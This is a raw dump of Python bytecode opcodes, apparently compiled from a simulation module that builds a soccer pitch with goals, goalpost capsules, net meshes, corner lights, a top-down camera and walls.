BUILD_TUPLE LOAD_CONST 0.0 LOAD_FAST wall_offset_y LOAD_FAST box_half_height BUILD_TUPLE LOAD_FAST field_size LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST thickness LOAD_FAST box_half_height BUILD_TUPLE BUILD_TUPLE LOAD_FAST wall_offset_x UNARY_NEGATIVE LOAD_FAST corner_pos_y UNARY_NEGATIVE LOAD_FAST box_half_height BUILD_TUPLE LOAD_FAST thickness LOAD_FAST corner_size_y LOAD_FAST box_half_height BUILD_TUPLE BUILD_TUPLE LOAD_FAST wall_offset_x UNARY_NEGATIVE LOAD_CONST 0.0 LOAD_FAST top_pos_z BUILD_TUPLE LOAD_FAST thickness LOAD_FAST goal_size LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST top_size_z BUILD_TUPLE BUILD_TUPLE LOAD_FAST wall_offset_x UNARY_NEGATIVE LOAD_FAST corner_pos_y LOAD_FAST box_half_height BUILD_TUPLE LOAD_FAST thickness LOAD_FAST corner_size_y LOAD_FAST box_half_height BUILD_TUPLE BUILD_TUPLE LOAD_FAST wall_offset_x LOAD_FAST corner_pos_y UNARY_NEGATIVE LOAD_FAST box_half_height BUILD_TUPLE LOAD_FAST thickness LOAD_FAST corner_size_y LOAD_FAST box_half_height BUILD_TUPLE BUILD_TUPLE LOAD_FAST wall_offset_x LOAD_CONST 0.0 LOAD_FAST top_pos_z BUILD_TUPLE LOAD_FAST thickness LOAD_FAST goal_size LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST top_size_z BUILD_TUPLE BUILD_TUPLE LOAD_FAST wall_offset_x LOAD_FAST corner_pos_y LOAD_FAST box_half_height BUILD_TUPLE LOAD_FAST thickness LOAD_FAST corner_size_y LOAD_FAST box_half_height BUILD_TUPLE BUILD_TUPLE BUILD_LIST RETURN_VALUE LOAD_FAST size LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST size LOAD_CONST 1 BINARY_SUBSCR LOAD_GLOBAL _WALL_THICKNESS BUILD_TUPLE RETURN_VALUE LOAD_CONST 0.5 LOAD_GLOBAL sum LOAD_FAST size CALL_FUNCTION BINARY_MULTIPLY STORE_FAST mean_size LOAD_FAST mean_size LOAD_CONST 2 BINARY_MULTIPLY LOAD_CONST 3 BINARY_TRUE_DIVIDE STORE_FAST height LOAD_CONST 0 STORE_FAST counter SETUP_LOOP to 150 LOAD_FAST size LOAD_CONST 0 BINARY_SUBSCR UNARY_NEGATIVE LOAD_FAST size LOAD_CONST 0 BINARY_SUBSCR BUILD_LIST GET_ITER FOR_ITER to 148 STORE_FAST x SETUP_LOOP to 146 LOAD_FAST size LOAD_CONST 1 BINARY_SUBSCR UNARY_NEGATIVE LOAD_FAST size LOAD_CONST 1 BINARY_SUBSCR BUILD_LIST GET_ITER FOR_ITER to 144 STORE_FAST y LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST x LOAD_FAST y LOAD_FAST height BUILD_TUPLE CALL_METHOD STORE_FAST position LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST x LOAD_FAST y LOAD_FAST height LOAD_CONST 2 BINARY_MULTIPLY BUILD_TUPLE CALL_METHOD UNARY_NEGATIVE STORE_FAST direction LOAD_FAST position LOAD_FAST lights LOAD_FAST counter BINARY_SUBSCR STORE_ATTR pos LOAD_FAST direction LOAD_FAST lights LOAD_FAST counter BINARY_SUBSCR STORE_ATTR dir LOAD_FAST counter LOAD_CONST 1 INPLACE_ADD STORE_FAST counter JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _GOALPOST_RELATIVE_SIZE LOAD_GLOBAL sum LOAD_FAST size CALL_FUNCTION BINARY_MULTIPLY LOAD_CONST 3.0 BINARY_TRUE_DIVIDE RETURN_VALUE LOAD_FAST goalpost_radius STORE_FAST radius LOAD_CONST 'top' LOAD_FAST goalpost_name COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST radius LOAD_CONST 1.01 INPLACE_MULTIPLY STORE_FAST radius LOAD_CONST 'support' LOAD_FAST goalpost_name COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST radius LOAD_GLOBAL _SUPPORT_POST_RATIO INPLACE_MULTIPLY STORE_FAST radius LOAD_FAST radius RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST unit_fromto CALL_METHOD LOAD_GLOBAL np LOAD_METHOD hstack LOAD_FAST direction LOAD_FAST direction BUILD_TUPLE CALL_METHOD BINARY_MULTIPLY STORE_FAST fromto LOAD_FAST fromto LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST size LOAD_FAST size BINARY_ADD CALL_METHOD BINARY_MULTIPLY LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST pos LOAD_FAST pos BINARY_ADD CALL_METHOD BINARY_ADD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Goal' STORE_NAME __qualname__ LOAD_CONST 'Goal for soccer-like games: A PositionDetector with goalposts.' STORE_NAME __doc__ LOAD_CONST ((1, 1, 1),) LOAD_CONST <code object _make_net_vertices at 0x7faa5ec3bf60, file "f.py", line 206> LOAD_CONST 'Goal._make_net_vertices' MAKE_FUNCTION STORE_NAME _make_net_vertices LOAD_CONST <code object _move_goal at 0x7faa5ec3b660, file "f.py", line 224> LOAD_CONST 'Goal._move_goal' MAKE_FUNCTION STORE_NAME _move_goal LOAD_CONST ((1, 1, 1, 0.15), True) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _build at 0x7faa5ec3bc90, file "f.py", line 237> LOAD_CONST 'Goal._build' MAKE_FUNCTION STORE_NAME _build LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object resize at 0x7faa5ec3b1e0, file "f.py", line 294> LOAD_CONST 'Goal.resize' MAKE_FUNCTION STORE_NAME resize LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object set_position at 0x7faa5ec3bb70, file "f.py", line 300> LOAD_CONST 'Goal.set_position' MAKE_FUNCTION STORE_NAME set_position LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _update_detection at 0x7faa5ec3b780, file "f.py", line 306> LOAD_CONST 'Goal._update_detection' MAKE_FUNCTION STORE_NAME _update_detection LOAD_NAME property LOAD_CONST <code object goalpost_rgba at 0x7faa5ec3b930, file "f.py", line 314> LOAD_CONST 'Goal.goalpost_rgba' MAKE_FUNCTION CALL_FUNCTION STORE_NAME goalpost_rgba LOAD_NAME property LOAD_CONST <code object goalpost_detected_rgba at 0x7faa5ec3bc00, file "f.py", line 321> LOAD_CONST 'Goal.goalpost_detected_rgba' MAKE_FUNCTION CALL_FUNCTION STORE_NAME goalpost_detected_rgba LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL _NET_RELATIVE_SIZE LOAD_GLOBAL sum LOAD_FAST size CALL_FUNCTION BINARY_MULTIPLY LOAD_CONST 3 BINARY_TRUE_DIVIDE STORE_FAST thickness LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST thickness LOAD_FAST size LOAD_CONST 0 BINARY_SUBSCR BINARY_TRUE_DIVIDE LOAD_CONST 0 LOAD_CONST 0 BUILD_TUPLE CALL_METHOD STORE_DEREF dx LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0 LOAD_FAST thickness LOAD_FAST size LOAD_CONST 1 BINARY_SUBSCR BINARY_TRUE_DIVIDE LOAD_CONST 0 BUILD_TUPLE CALL_METHOD STORE_DEREF dy LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST thickness LOAD_FAST size LOAD_CONST 2 BINARY_SUBSCR BINARY_TRUE_DIVIDE BUILD_TUPLE CALL_METHOD STORE_DEREF dz LOAD_CLOSURE dz BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f7b70, file "f.py", line 212> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'top' BINARY_SUBSCR GET_ITER CALL_FUNCTION LOAD_CLOSURE dz BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f7270, file "f.py", line 212> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'top' BINARY_SUBSCR GET_ITER CALL_FUNCTION BINARY_ADD STORE_FAST top LOAD_CLOSURE dy BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f7540, file "f.py", line 213> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'right' BINARY_SUBSCR GET_ITER CALL_FUNCTION LOAD_CLOSURE dy BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f78a0, file "f.py", line 213> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'right' BINARY_SUBSCR GET_ITER CALL_FUNCTION BINARY_ADD STORE_FAST right LOAD_CLOSURE dy BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f7ed0, file "f.py", line 214> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'left' BINARY_SUBSCR GET_ITER CALL_FUNCTION LOAD_CLOSURE dy BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f7e40, file "f.py", line 214> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'left' BINARY_SUBSCR GET_ITER CALL_FUNCTION BINARY_ADD STORE_FAST left LOAD_CLOSURE dz BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f7390, file "f.py", line 216> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'back' BINARY_SUBSCR GET_ITER CALL_FUNCTION LOAD_CLOSURE dz BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f7810, file "f.py", line 217> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'back' BINARY_SUBSCR GET_ITER CALL_FUNCTION BINARY_ADD LOAD_CLOSURE dx BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f76f0, file "f.py", line 218> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'back' BINARY_SUBSCR GET_ITER CALL_FUNCTION BINARY_ADD LOAD_CLOSURE dx BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa763f74b0, file "f.py", line 219> LOAD_CONST 'Goal._make_net_vertices.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL _NET LOAD_CONST 'back' BINARY_SUBSCR GET_ITER CALL_FUNCTION BINARY_ADD STORE_FAST back LOAD_FAST top LOAD_FAST back LOAD_FAST left LOAD_FAST right LOAD_CONST ('top', 'back', 'left', 'right') BUILD_CONST_KEY_MAP STORE_FAST vertices LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7faa5ec3b8a0, file "f.py", line 222> LOAD_CONST 'Goal._make_net_vertices.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST vertices LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST v LOAD_FAST v LOAD_DEREF dz BINARY_ADD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST v LOAD_FAST v LOAD_DEREF dz BINARY_SUBTRACT LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST v LOAD_FAST v LOAD_DEREF dy BINARY_ADD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST v LOAD_FAST v LOAD_DEREF dy BINARY_SUBTRACT LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST v LOAD_FAST v LOAD_DEREF dy BINARY_ADD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST v LOAD_FAST v LOAD_DEREF dy BINARY_SUBTRACT LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST v LOAD_FAST v LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST v LOAD_DEREF dz BINARY_ADD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST v LOAD_FAST v LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST v LOAD_DEREF dz BINARY_SUBTRACT LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST v LOAD_FAST v LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST v LOAD_DEREF dx BINARY_ADD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST v LOAD_FAST v LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST v LOAD_DEREF dx BINARY_SUBTRACT LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST key STORE_FAST val LOAD_FAST val LOAD_DEREF self LOAD_ATTR _direction BINARY_MULTIPLY LOAD_METHOD flatten CALL_METHOD LOAD_FAST key MAP_ADD JUMP_ABSOLUTE RETURN_VALUE SETUP_LOOP to 62 LOAD_FAST self LOAD_ATTR _goal_geoms GET_ITER FOR_ITER to 60 STORE_FAST geom LOAD_GLOBAL _GOALPOSTS LOAD_FAST geom LOAD_ATTR name BINARY_SUBSCR STORE_FAST unit_fromto LOAD_GLOBAL _goalpost_fromto LOAD_FAST unit_fromto LOAD_FAST size LOAD_FAST pos LOAD_FAST self LOAD_ATTR _direction CALL_FUNCTION LOAD_FAST geom STORE_ATTR fromto LOAD_GLOBAL _post_radius LOAD_FAST geom LOAD_ATTR name LOAD_FAST self LOAD_ATTR _goalpost_radius CALL_FUNCTION BUILD_TUPLE LOAD_FAST geom STORE_ATTR size JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR _make_net POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _make_net_vertices LOAD_FAST size CALL_METHOD STORE_FAST net_vertices SETUP_LOOP to 124 LOAD_FAST self LOAD_ATTR _net_geoms GET_ITER FOR_ITER to 122 STORE_FAST geom LOAD_FAST pos LOAD_FAST geom STORE_ATTR pos LOAD_FAST net_vertices LOAD_FAST geom LOAD_ATTR mesh LOAD_ATTR name BINARY_SUBSCR LOAD_FAST geom LOAD_ATTR mesh STORE_ATTR vertex LOAD_FAST size LOAD_FAST geom LOAD_ATTR mesh STORE_ATTR scale JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST kwargs LOAD_CONST 'size' BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 3 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL len LOAD_FAST kwargs LOAD_CONST 'pos' BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 3 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Only 3D Goals are supported.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST direction LOAD_CONST (1, -1) COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'direction must be either 1 or -1.' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST direction LOAD_FAST direction LOAD_CONST 1 BUILD_TUPLE CALL_METHOD LOAD_FAST self STORE_ATTR _direction LOAD_FAST make_net LOAD_FAST self STORE_ATTR _make_net LOAD_CONST False LOAD_FAST kwargs LOAD_CONST 'visible' STORE_SUBSCR LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR _build BUILD_TUPLE LOAD_CONST 'retain_substep_detections' LOAD_CONST True BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_FAST kwargs LOAD_CONST 'size' BINARY_SUBSCR STORE_FAST size LOAD_FAST kwargs LOAD_CONST 'pos' BINARY_SUBSCR STORE_FAST pos LOAD_GLOBAL _goalpost_radius LOAD_FAST size CALL_FUNCTION LOAD_FAST self STORE_ATTR _goalpost_radius BUILD_LIST LOAD_FAST self STORE_ATTR _goal_geoms SETUP_LOOP to 230 LOAD_GLOBAL _GOALPOSTS LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 228 UNPACK_SEQUENCE STORE_FAST geom_name STORE_FAST unit_fromto LOAD_GLOBAL _goalpost_fromto LOAD_FAST unit_fromto LOAD_FAST size LOAD_FAST pos LOAD_FAST self LOAD_ATTR _direction CALL_FUNCTION STORE_FAST geom_fromto LOAD_GLOBAL _post_radius LOAD_FAST geom_name LOAD_FAST self LOAD_ATTR _goalpost_radius CALL_FUNCTION BUILD_TUPLE STORE_FAST geom_size LOAD_FAST self LOAD_ATTR _goal_geoms LOAD_METHOD append LOAD_FAST self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'geom' LOAD_CONST 'capsule' LOAD_FAST geom_name LOAD_FAST geom_size LOAD_FAST geom_fromto LOAD_FAST self LOAD_ATTR goalpost_rgba LOAD_CONST ('type', 'name', 'size', 'fromto', 'rgba') CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR _make_net EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _make_net_vertices CALL_METHOD STORE_FAST net_vertices BUILD_LIST LOAD_FAST self STORE_ATTR _net_geoms SETUP_LOOP to 336 LOAD_FAST net_vertices LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 334 UNPACK_SEQUENCE STORE_FAST name STORE_FAST vertex LOAD_FAST self LOAD_ATTR _mjcf_root LOAD_ATTR asset LOAD_ATTR add LOAD_CONST 'mesh' LOAD_FAST name LOAD_FAST vertex LOAD_CONST ('name', 'vertex') CALL_FUNCTION STORE_FAST mesh LOAD_FAST self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'geom' LOAD_CONST 'mesh' LOAD_FAST mesh LOAD_FAST name LOAD_FAST net_rgba LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST ('type', 'mesh', 'name', 'rgba', 'contype', 'conaffinity') CALL_FUNCTION STORE_FAST geom LOAD_FAST self LOAD_ATTR _net_geoms LOAD_METHOD append LOAD_FAST geom CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD resize LOAD_FAST pos LOAD_FAST size CALL_METHOD POP_TOP LOAD_GLOBAL _goalpost_radius LOAD_FAST size CALL_FUNCTION LOAD_FAST self STORE_ATTR _goalpost_radius LOAD_FAST self LOAD_METHOD _move_goal LOAD_FAST pos LOAD_FAST size CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD set_position LOAD_FAST pos CALL_METHOD POP_TOP LOAD_CONST 0.5 LOAD_FAST self LOAD_ATTR upper LOAD_FAST self LOAD_ATTR lower BINARY_SUBTRACT BINARY_MULTIPLY STORE_FAST size LOAD_FAST self LOAD_METHOD _move_goal LOAD_FAST pos LOAD_FAST size CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD _update_detection LOAD_FAST physics CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _detected POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _previously_detected POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR goalpost_detected_rgba LOAD_FAST physics LOAD_METHOD bind LOAD_FAST self LOAD_ATTR _goal_geoms CALL_METHOD STORE_ATTR rgba JUMP_FORWARD to 70 LOAD_FAST self LOAD_ATTR _previously_detected POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _detected POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR goalpost_rgba LOAD_FAST physics LOAD_METHOD bind LOAD_FAST self LOAD_ATTR _goal_geoms CALL_METHOD STORE_ATTR rgba LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rgba LOAD_METHOD copy CALL_METHOD STORE_FAST rgba LOAD_CONST 1 LOAD_FAST rgba LOAD_CONST 3 STORE_SUBSCR LOAD_FAST rgba RETURN_VALUE LOAD_FAST self LOAD_ATTR _detected_rgba LOAD_METHOD copy CALL_METHOD STORE_FAST detected_rgba LOAD_CONST 1 LOAD_FAST detected_rgba LOAD_CONST 3 STORE_SUBSCR LOAD_FAST detected_rgba RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Pitch' STORE_NAME __qualname__ LOAD_CONST 'A pitch with a plane, two goals and a field with position detection.' STORE_NAME __doc__ LOAD_NAME _DEFAULT_PITCH_SIZE LOAD_CONST None LOAD_NAME _TOP_CAMERA_DISTANCE LOAD_CONST False LOAD_CONST 0.0 LOAD_CONST 0 LOAD_CONST 'pitch' BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _build at 0x7faa5ec3b300, file "f.py", line 332> LOAD_CONST 'Pitch._build' MAKE_FUNCTION STORE_NAME _build LOAD_CONST <code object _update_hoarding at 0x7faa5ec3b5d0, file "f.py", line 494> LOAD_CONST 'Pitch._update_hoarding' MAKE_FUNCTION STORE_NAME _update_hoarding LOAD_CONST <code object _update_perimeter at 0x7faa5ec3bae0, file "f.py", line 536> LOAD_CONST 'Pitch._update_perimeter' MAKE_FUNCTION STORE_NAME _update_perimeter LOAD_CONST <code object _get_goal_size at 0x7faa5ec3b030, file "f.py", line 551> LOAD_CONST 'Pitch._get_goal_size' MAKE_FUNCTION STORE_NAME _get_goal_size LOAD_CONST <code object register_ball at 0x7faa5ec3b9c0, file "f.py", line 561> LOAD_CONST 'Pitch.register_ball' MAKE_FUNCTION STORE_NAME register_ball LOAD_CONST <code object detected_goal at 0x7faa5ec3b6f0, file "f.py", line 573> LOAD_CONST 'Pitch.detected_goal' MAKE_FUNCTION STORE_NAME detected_goal LOAD_CONST <code object detected_off_court at 0x7fab4130ca50, file "f.py", line 581> LOAD_CONST 'Pitch.detected_off_court' MAKE_FUNCTION STORE_NAME detected_off_court LOAD_NAME property LOAD_CONST <code object size at 0x7fab4130c810, file "f.py", line 584> LOAD_CONST 'Pitch.size' MAKE_FUNCTION CALL_FUNCTION STORE_NAME size LOAD_NAME property LOAD_CONST <code object home_goal at 0x7fab4130cc90, file "f.py", line 588> LOAD_CONST 'Pitch.home_goal' MAKE_FUNCTION CALL_FUNCTION STORE_NAME home_goal LOAD_NAME property LOAD_CONST <code object away_goal at 0x7fab4130c4b0, file "f.py", line 592> LOAD_CONST 'Pitch.away_goal' MAKE_FUNCTION CALL_FUNCTION STORE_NAME away_goal LOAD_NAME property LOAD_CONST <code object field at 0x7fab4130c1e0, file "f.py", line 596> LOAD_CONST 'Pitch.field' MAKE_FUNCTION CALL_FUNCTION STORE_NAME field LOAD_NAME property LOAD_CONST <code object ground_geom at 0x7fab4130c270, file "f.py", line 600> LOAD_CONST 'Pitch.ground_geom' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ground_geom LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR _build LOAD_FAST name LOAD_CONST ('name',) CALL_FUNCTION POP_TOP LOAD_FAST size LOAD_DEREF self STORE_ATTR _size LOAD_FAST goal_size LOAD_DEREF self STORE_ATTR _goal_size LOAD_FAST top_camera_distance LOAD_DEREF self STORE_ATTR _top_camera_distance LOAD_FAST hoarding_color_scheme_id LOAD_DEREF self STORE_ATTR _hoarding_color_scheme_id LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'camera' LOAD_CONST 'top_down' LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST top_camera_distance BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_GLOBAL _top_down_cam_fovy LOAD_DEREF self LOAD_ATTR _size LOAD_FAST top_camera_distance CALL_FUNCTION LOAD_CONST ('name', 'pos', 'zaxis', 'fovy') CALL_FUNCTION LOAD_DEREF self STORE_ATTR _top_camera LOAD_CONST 0.1 LOAD_GLOBAL max LOAD_DEREF self LOAD_ATTR _size CALL_FUNCTION BINARY_MULTIPLY STORE_FAST extent LOAD_FAST extent LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR statistic STORE_ATTR extent LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST extent BUILD_TUPLE LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR statistic STORE_ATTR center LOAD_CONST 50 LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR visual LOAD_ATTR map STORE_ATTR zfar LOAD_CONST 0.1 LOAD_FAST extent BINARY_TRUE_DIVIDE LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR visual LOAD_ATTR map STORE_ATTR znear LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR asset LOAD_ATTR add LOAD_CONST 'texture' LOAD_CONST 'skybox' LOAD_CONST 'skybox' LOAD_CONST 'gradient' LOAD_CONST (0.7, 0.9, 0.9) LOAD_CONST (0.03, 0.09, 0.27) LOAD_CONST 400 LOAD_CONST 400 LOAD_CONST ('name', 'type', 'builtin', 'rgb1', 'rgb2', 'width', 'height') CALL_FUNCTION POP_TOP LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa5ec3ba50, file "f.py", line 389> LOAD_CONST 'Pitch._build.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 4 CALL_FUNCTION GET_ITER CALL_FUNCTION LOAD_DEREF self STORE_ATTR _corner_lights LOAD_GLOBAL _reposition_corner_lights LOAD_DEREF self LOAD_ATTR _corner_lights LOAD_FAST size CALL_FUNCTION POP_TOP LOAD_CONST 8192 LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR visual LOAD_ATTR quality STORE_ATTR shadowsize LOAD_GLOBAL len LOAD_DEREF self LOAD_ATTR _size CALL_FUNCTION LOAD_CONST 2 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST '`size` should be a sequence of length 2: got {!r}' LOAD_METHOD format LOAD_DEREF self LOAD_ATTR _size CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR asset LOAD_ATTR add LOAD_CONST 'texture' LOAD_CONST '2d' LOAD_GLOBAL _get_texture LOAD_CONST 'pitch_nologo_l' CALL_FUNCTION LOAD_CONST 'fieldplane' LOAD_CONST ('type', 'file', 'name') CALL_FUNCTION LOAD_DEREF self STORE_ATTR _field_texture LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR asset LOAD_ATTR add LOAD_CONST 'material' LOAD_CONST 'fieldplane' LOAD_DEREF self LOAD_ATTR _field_texture LOAD_CONST ('name', 'texture') CALL_FUNCTION LOAD_DEREF self STORE_ATTR _field_material LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'geom' LOAD_CONST 'ground' LOAD_CONST 'plane' LOAD_DEREF self LOAD_ATTR _field_material LOAD_GLOBAL list LOAD_DEREF self LOAD_ATTR _size CALL_FUNCTION LOAD_GLOBAL max LOAD_DEREF self LOAD_ATTR _size CALL_FUNCTION LOAD_GLOBAL _GROUND_GEOM_GRID_RATIO BINARY_MULTIPLY BUILD_LIST BINARY_ADD LOAD_CONST ('name', 'type', 'material', 'size') CALL_FUNCTION LOAD_DEREF self STORE_ATTR _ground_geom BUILD_LIST LOAD_DEREF self STORE_ATTR _walls SETUP_LOOP to 444 LOAD_GLOBAL _wall_pos_xyaxes LOAD_DEREF self LOAD_ATTR _size CALL_FUNCTION GET_ITER FOR_ITER to 442 UNPACK_SEQUENCE STORE_FAST wall_pos STORE_FAST wall_xyaxes LOAD_DEREF self LOAD_ATTR _walls LOAD_METHOD append LOAD_DEREF self LOAD_ATTR _mjcf_root LOAD_ATTR worldbody LOAD_ATTR add LOAD_CONST 'geom' LOAD_CONST 'plane' LOAD_CONST 0.1 